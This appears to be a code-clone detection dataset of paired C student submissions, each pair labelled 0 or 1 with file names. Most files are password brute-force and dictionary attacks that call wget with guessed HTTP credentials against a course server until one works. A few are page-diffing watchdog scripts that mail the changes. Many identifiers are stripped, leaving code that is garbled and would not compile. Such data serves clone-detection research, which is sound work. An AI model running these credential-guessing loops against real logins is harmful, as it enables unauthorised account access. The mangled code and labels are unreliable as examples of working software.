strcpy(URL,v); printf("\nTesting with password %s\n",URL); strcat(temp3,temp1); strcat(temp3,URL); strcat(temp3,temp2); printf("\nSending the %s\n",temp3); i=system(temp3); if(i==0) { (void) time(&u2); printf("\n The password is %s\n",URL); printf("\n\nThe time_var taken crack the password is %d second\n\n",(int)(u2-u1)); exit(0); } else { strcpy(temp3,""); } for(o=0;o<=51;o++) { v[0]=[m]; v[1]=[n]; v[2]=[o]; strcpy(URL,v); printf("\nTesting with password %s\n",URL); strcat(temp3,temp1); strcat(temp3,URL); strcat(temp3,temp2); printf("\nSending the %s\n",temp3); i=system(temp3); if(i==0) { (void) time(&u2); printf("\n The password is %s\n",URL); printf("\n\nThe time_var taken crack the password is %d second\n\n",(int)(u2-u1)); exit(0); } else { strcpy(temp3,""); } } } } }
#include <stdio.h> #include <stdlib.h> #include <sys/times.h> #include <strings.h> #include <ctype.h> int main() { char *wordptr = " word"; FILE *fp; int syst = 1; char string1[80], string2[50]; strcpy(string1, "wget --http-user= --http-passwd="); strcpy(string2, " http://sec-crack.cs.rmit.edu./SEC/2/"); char words[30]; fp = fopen("words", "r"); while(wordptr != NULL) { wordptr = fgets(words, 30, fp); if (wordptr == NULL) exit(1); words [ strlen(words) - 1 ] = '\0'; strcat(string1, words); strcat(string1, string2); printf("\n %s \n",string1); syst = system(string1); if (syst == 0) { exit(1); } strcpy(string1, ""); strcpy(string1, "wget --http-user= --http-passwd="); printf("%s", words); } }
0
045.c
031.c
#include <stdio.h> #include <stdlib.h> #include <sys/times.h> #include <strings.h> #include <ctype.h> int () { int t1, t2, t; int timeinsec, nofattempts; char url[100], url1[80]; strcpy(url, "wget --http-user= --http-passwd="); strcpy(url1, " http://sec-crack.cs.rmit.edu./SEC/2/ -o out.txt"); char word[15], *chk; chk = "word"; FILE *fp; int syst = 1; fp = fopen("words", "r"); t1 = time(); while(chk != NULL) { chk = fgets(word, 15, fp); if (chk == NULL) exit(1); word [ strlen(word) - 1 ] = '\0'; strcat(url, word); strcat(url, url1); nofattempts = nofattempts + 1; printf("\n %s %d\n",word,nofattempts); if (strlen(word) == 3) syst = system(url); if (syst == 0) { t2 = time(); t = t2 - t1; timeinsec = t/1000000000; printf("\n !!! here's the passowrd:- %s",word); printf("\n Total .of atempts: %d\n",nofattempts); printf("\n The total time_var taken: %d seconds", timeinsec); exit(1); } strcpy(url, ""); strcpy(url, "wget --http-user= --http-passwd="); } }
#include<stdio.h> #include<stdlib.h> #include<strings.h> #include<ctype.h> #include <sys/time.h> #define OneBillion 1e9 int () { int startTime, stopTime, final; int i,j,k; FILE* fp; int pass,len; int count = 0; char [50]; char url1[100]; char url2[100]; startTime = time(); fp = fopen("/usr/share/lib/dict/words","r"); while (fp !='\0') { fgets( ,50,fp); len = strlen(); [strlen()-1] ='\0'; if(len <= 4) { count++; printf("Checking for the word :%s\n",); strcpy(url1 ,"wget --http-user= --http-passwd="); strcat(url1,); strcpy(url2 , " -nv -o output http://sec-crack.cs.rmit.edu./SEC/2/ "); strcat(url1,url2); pass = system(url1); if (pass == 0) { stopTime = time(); final = stopTime-startTime; printf("\n SUCCESS\n"); printf("The password for the user : %s\n ",); printf("Found the password in %lld nanoseconds (%1f seconds) \n",final,(double)final/OneBillion); printf("Number of attempts : %d\n",count); exit(1); } } } }
0
045.c
059.c
#include <stdio.h> #include <stdlib.h> #include <sys/times.h> #include <strings.h> #include <ctype.h> int () { int t1, t2, t; int timeinsec, nofattempts; char url[100], url1[80]; strcpy(url, "wget --http-user= --http-passwd="); strcpy(url1, " http://sec-crack.cs.rmit.edu./SEC/2/ -o out.txt"); char word[15], *chk; chk = "word"; FILE *fp; int syst = 1; fp = fopen("words", "r"); t1 = time(); while(chk != NULL) { chk = fgets(word, 15, fp); if (chk == NULL) exit(1); word [ strlen(word) - 1 ] = '\0'; strcat(url, word); strcat(url, url1); nofattempts = nofattempts + 1; printf("\n %s %d\n",word,nofattempts); if (strlen(word) == 3) syst = system(url); if (syst == 0) { t2 = time(); t = t2 - t1; timeinsec = t/1000000000; printf("\n !!! here's the passowrd:- %s",word); printf("\n Total .of atempts: %d\n",nofattempts); printf("\n The total time_var taken: %d seconds", timeinsec); exit(1); } strcpy(url, ""); strcpy(url, "wget --http-user= --http-passwd="); } }
#include<stdio.h> #include<strings.h> #include<stdlib.h> #include<ctype.h> #define MINSIZE 26 #define MAXSIZE 52 #define MAX_SIZE 255 int CrackPasswd(char *passwd) { int flag; char string1[MAX_SIZE],string2[MAX_SIZE],[MAX_SIZE]; strcpy(string1,"wget http://sec-crack.cs.rmit.edu./SEC/2/"); strcpy(string2," --http-user= --http-passwd='"); strcpy(,""); strcat(, string1); strcat(, string2); strcat(, passwd); strcat(, "'"); printf("Sending Request as %s\n",); flag = system(); if (flag == 0) { printf("\nPassword is %s\n",passwd); return 1; } strcpy(,""); return 0; } int BruteForce(char *CharArray) { int i, j, k; char passwd[MAX_SIZE]; for (i=0;i<MAX_SIZE;i++) passwd[i] = '\0'; for(i=0;i<MAXSIZE;i++) { passwd[0] = CharArray[i]; if(CrackPasswd(passwd) == 1) return 1; } for(i=0;i<MAXSIZE;i++) { passwd[0] = CharArray[i]; for(j=0;j<MAXSIZE;j++) { passwd[1] = CharArray[j]; if(CrackPasswd(passwd) == 1) return 1; } } for(i=0;i<MAXSIZE;i++) { passwd[0] = CharArray[i]; for(j=0;j<MAXSIZE;j++) { passwd[1] = CharArray[j]; for(k=0;k<MAXSIZE;k++) { passwd[2] = CharArray[k]; if(CrackPasswd(passwd) == 1) return 1; } } } return 0; } int (int argc, char *argv[]) { char CharArray[MAXSIZE]; char ch='a'; int i,j; int , end; = time(); strcpy(CharArray,""); for (i=0;i<MINSIZE;i++) { CharArray[i]=ch; ch++; } ch='A'; for (i=MINSIZE;i<MAXSIZE;i++) { CharArray[i]=ch; ch++; } if (argc != 1) { fprintf(stdout,"Usage : ./BruteForce \n"); return(EXIT_FAILURE); } BruteForce(CharArray); getpid(); end = time(); printf("Time Required = %lld msec\n",(end-)/()); return (EXIT_SUCCESS); }
0
045.c
043.c
#include <stdio.h> #include <stdlib.h> #include <sys/times.h> #include <strings.h> #include <ctype.h> int () { int t1, t2, t; int timeinsec, nofattempts; char url[100], url1[80]; strcpy(url, "wget --http-user= --http-passwd="); strcpy(url1, " http://sec-crack.cs.rmit.edu./SEC/2/ -o out.txt"); char word[15], *chk; chk = "word"; FILE *fp; int syst = 1; fp = fopen("words", "r"); t1 = time(); while(chk != NULL) { chk = fgets(word, 15, fp); if (chk == NULL) exit(1); word [ strlen(word) - 1 ] = '\0'; strcat(url, word); strcat(url, url1); nofattempts = nofattempts + 1; printf("\n %s %d\n",word,nofattempts); if (strlen(word) == 3) syst = system(url); if (syst == 0) { t2 = time(); t = t2 - t1; timeinsec = t/1000000000; printf("\n !!! here's the passowrd:- %s",word); printf("\n Total .of atempts: %d\n",nofattempts); printf("\n The total time_var taken: %d seconds", timeinsec); exit(1); } strcpy(url, ""); strcpy(url, "wget --http-user= --http-passwd="); } }
#include <stdio.h> #include <stdlib.h> #include <sys/time.h> #include <strings.h> #include <ctype.h> int () { char word[15], *chk; system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir one"); system("mv www.cs.rmit.edu./images/*.* one/"); system("mv www.cs.rmit.edu./students/*.* one/"); sleep(15); system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir two"); system("mv www.cs.rmit.edu./images/*.* two/"); system("mv www.cs.rmit.edu./students/*.* two/"); system("diff one two > difference.txt"); system("mailx -s \"Message1\" < difference.txt"); return 0; }
0
045.c
014.c
#include <stdio.h> #include <stdlib.h> #include <sys/times.h> #include <strings.h> #include <ctype.h> int () { int t1, t2, t; int timeinsec, nofattempts; char url[100], url1[80]; strcpy(url, "wget --http-user= --http-passwd="); strcpy(url1, " http://sec-crack.cs.rmit.edu./SEC/2/ -o out.txt"); char word[15], *chk; chk = "word"; FILE *fp; int syst = 1; fp = fopen("words", "r"); t1 = time(); while(chk != NULL) { chk = fgets(word, 15, fp); if (chk == NULL) exit(1); word [ strlen(word) - 1 ] = '\0'; strcat(url, word); strcat(url, url1); nofattempts = nofattempts + 1; printf("\n %s %d\n",word,nofattempts); if (strlen(word) == 3) syst = system(url); if (syst == 0) { t2 = time(); t = t2 - t1; timeinsec = t/1000000000; printf("\n !!! here's the passowrd:- %s",word); printf("\n Total .of atempts: %d\n",nofattempts); printf("\n The total time_var taken: %d seconds", timeinsec); exit(1); } strcpy(url, ""); strcpy(url, "wget --http-user= --http-passwd="); } }
#include <stdio.h> #include <stdlib.h> #include <sys/time.h> #define MINCHAR 65 #define MAXCHAR 122 int bruteforce_first(int passlen, int *attempts); int bruteforce_two(int passlen, int *attempts); int bruteforce_three(int passlen, int *attempts); int main() { int i, wdlen = 1; int runtime; int counter ; int initTime = 0, exitTime = 0, runTime = 0; initTime = time(); if (bruteforce_first(wdlen, &counter) == 2) { wdlen++; if (bruteforce_two(wdlen, &counter) == 3) { wdlen++; if (bruteforce_three(wdlen, &counter) == 0) printf("Success In Breaking The Password"); else printf("Failure !!!!!!"); } } else { printf("Success In Breaking The Password"); } exitTime = time(); runTime = (exitTime - initTime); printf("\nNumber of attempts is... %d", counter); printf("\nTime taken is %lld milli seconds\n", (runTime)/()); return 0; } int bruteforce_first(int passlen, int *attempts) { int i; int j = MINCHAR; char *str, *passwd; str = (char *) malloc(passlen * sizeof(char)); for (i = 0; i < passlen; i++) { str[i] = MINCHAR; } str[passlen] = '\0'; for (i = MINCHAR; i <= MAXCHAR; i++) { if (i == 91) i = i + 6; str[passlen - 1] = i; puts(str); (*attempts)++; char [100]; sprintf(, "wget --http-user= --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/index.php", str); if (system() == 0) { printf("Password cracked successfully:"); printf("Password is %s", str); return 0; } } return 2; } int bruteforce_two(int passlen, int *attempts) { int i; int j = MINCHAR; char *str, *passwd; str = (char *) malloc(passlen * sizeof(char)); for (i = 0; i < passlen; i++) { str[i] = MINCHAR; } str[passlen] = '\0'; while (str[0] != MAXCHAR + 1) { for (i = MINCHAR; i <= MAXCHAR; i++) { if (i == 91) i = i + 6; str[passlen - 1] = i; (*attempts)++; puts(str); char [100]; sprintf(, "wget --http-user= --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/index.php", str); if (system() == 0) { printf("Password cracked successfully: "); printf("Password is %s", str); return 0; } } i = 0; if (str[i] == 'Z') { str[i] = 'a'; } else str[i]++; } return 3; } int bruteforce_three(int passlen, int *attempts) { int i; int j = MINCHAR; char *str, *passwd; str = (char *) malloc(passlen * sizeof(char)); for (i = 0; i < passlen; i++) { str[i] = MINCHAR; } str[passlen] = '\0'; while (str[0] != MAXCHAR + 1) { for (i = MINCHAR; i <= MAXCHAR; i++) { if (i == 91) i = i + 6; str[passlen - 1] = i; (*attempts)++; puts(str); char [100]; sprintf(, "wget --http-user= --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/index.php", str); if (system() == 0) { printf("Password cracked successfully: "); printf("Password is %s", str); return 0; } } i = 1; while (i <= passlen - 1) { if (str[passlen - i - 1] == 'z') { str[passlen - i - 1] = MINCHAR; str[passlen - 1 - 2]++; break; } else { if (str[passlen - i - 1] == 'Z') { str[passlen - i - 1] = 'a'; break; } else { str[passlen - i - 1]++; break; } } i++; } } return 0; }
0
045.c
050.c
#include <stdio.h> #include <stdlib.h> #include <sys/times.h> #include <strings.h> #include <ctype.h> int () { int t1, t2, t; int timeinsec, nofattempts; char url[100], url1[80]; strcpy(url, "wget --http-user= --http-passwd="); strcpy(url1, " http://sec-crack.cs.rmit.edu./SEC/2/ -o out.txt"); char word[15], *chk; chk = "word"; FILE *fp; int syst = 1; fp = fopen("words", "r"); t1 = time(); while(chk != NULL) { chk = fgets(word, 15, fp); if (chk == NULL) exit(1); word [ strlen(word) - 1 ] = '\0'; strcat(url, word); strcat(url, url1); nofattempts = nofattempts + 1; printf("\n %s %d\n",word,nofattempts); if (strlen(word) == 3) syst = system(url); if (syst == 0) { t2 = time(); t = t2 - t1; timeinsec = t/1000000000; printf("\n !!! here's the passowrd:- %s",word); printf("\n Total .of atempts: %d\n",nofattempts); printf("\n The total time_var taken: %d seconds", timeinsec); exit(1); } strcpy(url, ""); strcpy(url, "wget --http-user= --http-passwd="); } }
#include <stdio.h> #include <stdlib.h> #include <sys/time.h> #include <strings.h> #include <ctype.h> int () { FILE *fp; char *chk,[4]; int i=1; while (i == 1) { system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir first"); system("mkdir second"); system("mv www.cs.rmit.edu./images/*.* first/"); system("mv www.cs.rmit.edu./students/*.* first/"); sleep(86400); system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mv www.cs.rmit.edu./images/*.* second/"); system("mv www.cs.rmit.edu./students/*.* second/"); system("diff first second > imagesdifference.txt"); fp = fopen("imagesdifference.txt","r"); chk = fgets(, 4, fp); if (strlen() != 0) system("mailx -s \"Difference from WatchDog\" < imagesdifference.txt"); } return 0; }
0
045.c
016.c
#include <stdio.h> #include <stdlib.h> #include <sys/times.h> #include <strings.h> #include <ctype.h> int () { int t1, t2, t; int timeinsec, nofattempts; char url[100], url1[80]; strcpy(url, "wget --http-user= --http-passwd="); strcpy(url1, " http://sec-crack.cs.rmit.edu./SEC/2/ -o out.txt"); char word[15], *chk; chk = "word"; FILE *fp; int syst = 1; fp = fopen("words", "r"); t1 = time(); while(chk != NULL) { chk = fgets(word, 15, fp); if (chk == NULL) exit(1); word [ strlen(word) - 1 ] = '\0'; strcat(url, word); strcat(url, url1); nofattempts = nofattempts + 1; printf("\n %s %d\n",word,nofattempts); if (strlen(word) == 3) syst = system(url); if (syst == 0) { t2 = time(); t = t2 - t1; timeinsec = t/1000000000; printf("\n !!! here's the passowrd:- %s",word); printf("\n Total .of atempts: %d\n",nofattempts); printf("\n The total time_var taken: %d seconds", timeinsec); exit(1); } strcpy(url, ""); strcpy(url, "wget --http-user= --http-passwd="); } }
#include <string.h> #include <stdlib.h> #include <stdio.h> #include <fcntl.h> #include <unistd.h> #include <sys/wait.h> #include <sys/time.h> void emptyFile(char* name) { FILE* myFile; myFile = fopen(name,"w"); fclose(myFile); } int (void) { FILE* myFile; char* myString; myString = malloc(sizeof(char ) * 100); emptyFile(".old.html"); emptyFile(".new.html"); system("wget -O .old.html -q http://www.cs.rmit.edu./students/"); while(1) { emptyFile(".new.html"); system("wget -O .new.html -q http://www.cs.rmit.edu./students/"); system("diff .old.html .new.html > watch.txt"); myFile = fopen("watch.txt","r"); if(myFile != (FILE*) NULL) { fgets(myString,100,myFile); if(strlen(myString) > 0) { system("mail @cs.rmit.edu. < watch.txt"); system("cp .new.html .old.html"); } } sleep(60*60*24); } return 1; }
0
045.c
007.c
#include <stdio.h> #include <stdlib.h> #include <sys/times.h> #include <strings.h> #include <ctype.h> int () { int t1, t2, t; int timeinsec, nofattempts; char url[100], url1[80]; strcpy(url, "wget --http-user= --http-passwd="); strcpy(url1, " http://sec-crack.cs.rmit.edu./SEC/2/ -o out.txt"); char word[15], *chk; chk = "word"; FILE *fp; int syst = 1; fp = fopen("words", "r"); t1 = time(); while(chk != NULL) { chk = fgets(word, 15, fp); if (chk == NULL) exit(1); word [ strlen(word) - 1 ] = '\0'; strcat(url, word); strcat(url, url1); nofattempts = nofattempts + 1; printf("\n %s %d\n",word,nofattempts); if (strlen(word) == 3) syst = system(url); if (syst == 0) { t2 = time(); t = t2 - t1; timeinsec = t/1000000000; printf("\n !!! here's the passowrd:- %s",word); printf("\n Total .of atempts: %d\n",nofattempts); printf("\n The total time_var taken: %d seconds", timeinsec); exit(1); } strcpy(url, ""); strcpy(url, "wget --http-user= --http-passwd="); } }
#include <sys/time.h> #include <strings.h> #include <ctype.h> #include <stdio.h> #include <stdlib.h> int main() { system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir home"); system("mv www.cs.rmit.edu./images/*.* home/"); system("mv www.cs.rmit.edu./students/*.* home/"); system("cd www.cs.rmit.edu./images"); sleep(1); system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir second"); system("mv www.cs.rmit.edu./images/*.* second/"); system("mv www.cs.rmit.edu./students/*.* second/"); system("cd www.cs.rmit.edu./images"); system("diff home second > difference.txt"); system("mailx -s \"Difference in \" < difference.txt "); return 0; }
0
045.c
054.c
#include <stdio.h> #include <stdlib.h> #include <sys/times.h> #include <strings.h> #include <ctype.h> int () { int t1, t2, t; int timeinsec, nofattempts; char url[100], url1[80]; strcpy(url, "wget --http-user= --http-passwd="); strcpy(url1, " http://sec-crack.cs.rmit.edu./SEC/2/ -o out.txt"); char word[15], *chk; chk = "word"; FILE *fp; int syst = 1; fp = fopen("words", "r"); t1 = time(); while(chk != NULL) { chk = fgets(word, 15, fp); if (chk == NULL) exit(1); word [ strlen(word) - 1 ] = '\0'; strcat(url, word); strcat(url, url1); nofattempts = nofattempts + 1; printf("\n %s %d\n",word,nofattempts); if (strlen(word) == 3) syst = system(url); if (syst == 0) { t2 = time(); t = t2 - t1; timeinsec = t/1000000000; printf("\n !!! here's the passowrd:- %s",word); printf("\n Total .of atempts: %d\n",nofattempts); printf("\n The total time_var taken: %d seconds", timeinsec); exit(1); } strcpy(url, ""); strcpy(url, "wget --http-user= --http-passwd="); } }
#include<stdio.h> #include<stdlib.h> #include<string.h> #include<ctype.h> #include<time.h> int () { int m,n,o,i; time_t u1,u2; char v[3]; char temp1[100]; char temp2[100]; char temp3[250]; FILE *fin1; char point[25]; fin1=fopen("./words.txt","r"); if(fin1==NULL) { printf(" open the file "); exit(0); } strcpy(temp2," --http-user= --http-passwd="); strcpy(temp1,"wget http://sec-crack.cs.rmit.edu./SEC/2/index.php"); strcpy(temp3,""); (void) time(&u1); while(!feof(fin1)) { fgets(point,25,fin1); if(strlen(point)<=4) { strcpy(temp3,temp1); strcat(temp3,temp2); strcat(temp3,point); printf("\nSending the %s\n",temp3); i=system(temp3); if(i==0) { (void) time(&u2); printf("\n The password is %s\n",point); printf("\n\nThe time_var taken crack the passwork is %d second\n\n",(int)(u2-u1)); exit(0); } else { strcpy(temp3,""); } } } }
0
045.c
021.c
#include <stdio.h> #include <stdlib.h> #include <sys/times.h> #include <strings.h> #include <ctype.h> int () { int t1, t2, t; int timeinsec, nofattempts; char url[100], url1[80]; strcpy(url, "wget --http-user= --http-passwd="); strcpy(url1, " http://sec-crack.cs.rmit.edu./SEC/2/ -o out.txt"); char word[15], *chk; chk = "word"; FILE *fp; int syst = 1; fp = fopen("words", "r"); t1 = time(); while(chk != NULL) { chk = fgets(word, 15, fp); if (chk == NULL) exit(1); word [ strlen(word) - 1 ] = '\0'; strcat(url, word); strcat(url, url1); nofattempts = nofattempts + 1; printf("\n %s %d\n",word,nofattempts); if (strlen(word) == 3) syst = system(url); if (syst == 0) { t2 = time(); t = t2 - t1; timeinsec = t/1000000000; printf("\n !!! here's the passowrd:- %s",word); printf("\n Total .of atempts: %d\n",nofattempts); printf("\n The total time_var taken: %d seconds", timeinsec); exit(1); } strcpy(url, ""); strcpy(url, "wget --http-user= --http-passwd="); } }
#include<stdio.h> #include<stdlib.h> #include <sys/types.h> #include <unistd.h> #include <sys/time.h> #include<string.h> int () { char a[100],c[100],c1[100],c2[100],m[50]; char b[53]="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; int i,j,k,count=0; int total_time,start_time,end_time; start_time = time(); for(i=0;i<52;i++) { m[0]=b[i]; m[1]='\0'; strcpy(c,m); printf("%s \n",c); for(j=0;j<52;j++) { m[0]=b[j]; m[1]='\0'; strcpy(c1,c); strcat(c1,m); printf("%s \n",c1); for(k=0;k<52;k++) { count++; printf("ATTEMPT :%d\n",count); m[0]=b[k]; m[1]='\0'; strcpy(c2,c1); strcat(c2,m); strcpy(a,"wget http://sec-crack.cs.rmit.edu./SEC/2/index.php --http-user= --http-passwd="); strcat(a,c2); if(system(a)==0) { printf("Congratulations!!!!BruteForce Attack Successful\n"); printf("***********************************************\n"); printf("The Password is %s\n",c2); printf("The Request sent is %s\n",a); end_time = time(); total_time = (end_time -start_time); total_time /= 1000000000.0; printf("The Time Taken is : %llds\n",total_time); exit(1); } } } } return 0; }
0
045.c
030.c
#include <stdio.h> #include <stdlib.h> #include <sys/times.h> #include <strings.h> #include <ctype.h> int () { int t1, t2, t; int timeinsec, nofattempts; char url[100], url1[80]; strcpy(url, "wget --http-user= --http-passwd="); strcpy(url1, " http://sec-crack.cs.rmit.edu./SEC/2/ -o out.txt"); char word[15], *chk; chk = "word"; FILE *fp; int syst = 1; fp = fopen("words", "r"); t1 = time(); while(chk != NULL) { chk = fgets(word, 15, fp); if (chk == NULL) exit(1); word [ strlen(word) - 1 ] = '\0'; strcat(url, word); strcat(url, url1); nofattempts = nofattempts + 1; printf("\n %s %d\n",word,nofattempts); if (strlen(word) == 3) syst = system(url); if (syst == 0) { t2 = time(); t = t2 - t1; timeinsec = t/1000000000; printf("\n !!! here's the passowrd:- %s",word); printf("\n Total .of atempts: %d\n",nofattempts); printf("\n The total time_var taken: %d seconds", timeinsec); exit(1); } strcpy(url, ""); strcpy(url, "wget --http-user= --http-passwd="); } }
#include<stdio.h> #include<stdlib.h> #include<strings.h> #include<ctype.h> #include <sys/time.h> #define OneBillion 1e9 int () { int startTime, stopTime, final; int i,j,k; int pass,count=0; char arr[52] ={'A','a','B','b','C','c','D','d','E','e','F','f','G','g','H','h','I','i','J','j','K','k','L','l','M','m','N','n','O','o','P','p','Q','q','R','r','S','s','T','t','U','u','V','v','W','w','X','x','Y','y','Z','z'}; char [4]; char url1[100]; char url2[100]; startTime = time(); for (i=0;i<=52;i++) { for (j=0;j<=52;j++) { for(k=0;k<=52;k++) { count++; [0] = arr[i]; [1] = arr[j]; [2] = arr[k]; [3] = '\0'; printf("Checking for the word :%s\n",); strcpy(url1 ,"wget --http-user= --http-passwd="); strcpy(url2 , " -nv -o output http://sec-crack.cs.rmit.edu./SEC/2/ "); strcat(url1,); strcat(url1,url2); pass = system(url1); if (pass == 0) { printf("Success\n"); printf("Number of attempts = %d\n",count); stopTime = time(); final = stopTime-startTime; printf("The password for the user : %s\n",); printf(" Cracked the password in %lld nanoseconds (%1f seconds) \n",final,(double)final/OneBillion); exit(1);} } } } }
0
045.c
044.c
#include <stdio.h> #include <stdlib.h> #include <sys/times.h> #include <strings.h> #include <ctype.h> int () { int t1, t2, t; int timeinsec, nofattempts; char url[100], url1[80]; strcpy(url, "wget --http-user= --http-passwd="); strcpy(url1, " http://sec-crack.cs.rmit.edu./SEC/2/ -o out.txt"); char word[15], *chk; chk = "word"; FILE *fp; int syst = 1; fp = fopen("words", "r"); t1 = time(); while(chk != NULL) { chk = fgets(word, 15, fp); if (chk == NULL) exit(1); word [ strlen(word) - 1 ] = '\0'; strcat(url, word); strcat(url, url1); nofattempts = nofattempts + 1; printf("\n %s %d\n",word,nofattempts); if (strlen(word) == 3) syst = system(url); if (syst == 0) { t2 = time(); t = t2 - t1; timeinsec = t/1000000000; printf("\n !!! here's the passowrd:- %s",word); printf("\n Total .of atempts: %d\n",nofattempts); printf("\n The total time_var taken: %d seconds", timeinsec); exit(1); } strcpy(url, ""); strcpy(url, "wget --http-user= --http-passwd="); } }
#include <stdio.h> #include <stdlib.h> #include <sys/times.h> #include <strings.h> #include <ctype.h> char *itoa(int); int () { int t,t1,t2, timeinsec; int nofattempts = 0; char url[80], url1[80], *ur1, *ur2; strcpy(url, "wget --http-user= --http-passwd="); strcpy(url1, " http://sec-crack.cs.rmit.edu./SEC/2/ -o out.txt"); int i = 65; int j ; int k ; char *c1, *c2, *c3; char *c12, pass[4]; int syst = 1; char a = 'a'; char inside[50]; t1 = time(); for (i = 65; i <= 122; i++) { if (i > 90 && i < 97) continue; for (j = 65; j <= 122; j++) { if (j > 90 && j < 97) continue; for (k = 65; k <= 122; k++) { fflush(stdin); if (k > 90 && k < 97) continue; c1 = itoa(i); c2 = itoa(j); c3 = itoa(k); pass[0] = *c1; pass[1] = *c2; pass[2] = *c3; pass[3] = '\0'; strcat(url, pass); strcat(url, url1); ++nofattempts; syst = system(url); printf("%s\n",pass); if (syst == 0) { t2 = time(); t = t2 - t1; timeinsec = t / 1000000000; printf(" Total .of attempts :- %d", nofattempts); printf("\n !!! 's the password:- %s\n", pass); printf("\n Brute force has taken much of time_var :- %lld seconds\n", timeinsec); exit(1); } strcpy(url, ""); strcpy(url, "wget --http-user= --http-passwd="); } } } exit(0); } char *itoa(int a) { char *[26] = { "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z" }; char *[26] = { "A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z" }; char *ret; if ( a >= 97 && a <= 122) { ret = [a-97]; return ret; } if ( a >= 65 && a <= 90) { ret = [a-65]; return ret; } return "5"; }
0
045.c
051.c
#include <stdio.h> #include <stdlib.h> #include <sys/times.h> #include <strings.h> #include <ctype.h> int () { int t1, t2, t; int timeinsec, nofattempts; char url[100], url1[80]; strcpy(url, "wget --http-user= --http-passwd="); strcpy(url1, " http://sec-crack.cs.rmit.edu./SEC/2/ -o out.txt"); char word[15], *chk; chk = "word"; FILE *fp; int syst = 1; fp = fopen("words", "r"); t1 = time(); while(chk != NULL) { chk = fgets(word, 15, fp); if (chk == NULL) exit(1); word [ strlen(word) - 1 ] = '\0'; strcat(url, word); strcat(url, url1); nofattempts = nofattempts + 1; printf("\n %s %d\n",word,nofattempts); if (strlen(word) == 3) syst = system(url); if (syst == 0) { t2 = time(); t = t2 - t1; timeinsec = t/1000000000; printf("\n !!! here's the passowrd:- %s",word); printf("\n Total .of atempts: %d\n",nofattempts); printf("\n The total time_var taken: %d seconds", timeinsec); exit(1); } strcpy(url, ""); strcpy(url, "wget --http-user= --http-passwd="); } }
#include <stdio.h> #include <stdlib.h> #include <sys/times.h> #include <sys/time.h> #include <strings.h> #include <ctype.h> int () { int time1, time2, time_var; int timeinsec, nofattempts; char url[100], url1[80]; strcpy(url, "wget --http-user= --http-passwd="); strcpy(url1, " http://sec-crack.cs.rmit.edu./SEC/2/ -o out.txt"); char word[15], *chk; chk = "word"; FILE *fp; int syst = 1; fp = fopen("words", "r"); time1 = time(); while(chk != NULL) { chk = fgets(word, 15, fp); if (chk == NULL) exit(1); word [ strlen(word) - 1 ] = '\0'; strcat(url, word); strcat(url, url1); if (strlen(word) == 3) { syst = system(url); nofattempts = nofattempts + 1; printf("\n %s %d\n",word,nofattempts); } if (syst == 0) { time2 = time(); time_var = time2 - time1; timeinsec = time_var/1000000000; printf("\n The Password is: %s",word); printf("\n of Attempts: %d\n",nofattempts); printf("\n Time Taken: %d seconds\n", timeinsec); exit(1); } strcpy(url, ""); strcpy(url, "wget --http-user= --http-passwd="); } }
1
045.c
066.c
#include <stdio.h> #include <stdlib.h> #include <sys/times.h> #include <strings.h> #include <ctype.h> int () { int t1, t2, t; int timeinsec, nofattempts; char url[100], url1[80]; strcpy(url, "wget --http-user= --http-passwd="); strcpy(url1, " http://sec-crack.cs.rmit.edu./SEC/2/ -o out.txt"); char word[15], *chk; chk = "word"; FILE *fp; int syst = 1; fp = fopen("words", "r"); t1 = time(); while(chk != NULL) { chk = fgets(word, 15, fp); if (chk == NULL) exit(1); word [ strlen(word) - 1 ] = '\0'; strcat(url, word); strcat(url, url1); nofattempts = nofattempts + 1; printf("\n %s %d\n",word,nofattempts); if (strlen(word) == 3) syst = system(url); if (syst == 0) { t2 = time(); t = t2 - t1; timeinsec = t/1000000000; printf("\n !!! here's the passowrd:- %s",word); printf("\n Total .of atempts: %d\n",nofattempts); printf("\n The total time_var taken: %d seconds", timeinsec); exit(1); } strcpy(url, ""); strcpy(url, "wget --http-user= --http-passwd="); } }
#include <stdio.h> #include <stdlib.h> #include <time.h> int () { int cntr=0; char get[96]; char username[]=""; char password[16]; int R_VALUE; double time_used; clock_t , end; FILE* fp; fp = fopen("/usr/share/lib/dict/words","r"); = clock(); while ( fscanf(fp,"%s",&password) != EOF ) { if(strlen(password)>3) continue; cntr++; printf("%d >> PASSWORD SEND : %s \n",cntr, password); sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,password); R_VALUE=system(get); if(R_VALUE==0) { printf("The Password has been cracked and it is : %s" , password); exit(0); } } end = clock(); time_used = ((double) (end - )) / CLOCKS_PER_SEC; printf("time_used = %f\n", time_used); }
0
045.c
026.c
#include <stdio.h> #include <stdlib.h> #include <sys/times.h> #include <strings.h> #include <ctype.h> int () { int t1, t2, t; int timeinsec, nofattempts; char url[100], url1[80]; strcpy(url, "wget --http-user= --http-passwd="); strcpy(url1, " http://sec-crack.cs.rmit.edu./SEC/2/ -o out.txt"); char word[15], *chk; chk = "word"; FILE *fp; int syst = 1; fp = fopen("words", "r"); t1 = time(); while(chk != NULL) { chk = fgets(word, 15, fp); if (chk == NULL) exit(1); word [ strlen(word) - 1 ] = '\0'; strcat(url, word); strcat(url, url1); nofattempts = nofattempts + 1; printf("\n %s %d\n",word,nofattempts); if (strlen(word) == 3) syst = system(url); if (syst == 0) { t2 = time(); t = t2 - t1; timeinsec = t/1000000000; printf("\n !!! here's the passowrd:- %s",word); printf("\n Total .of atempts: %d\n",nofattempts); printf("\n The total time_var taken: %d seconds", timeinsec); exit(1); } strcpy(url, ""); strcpy(url, "wget --http-user= --http-passwd="); } }
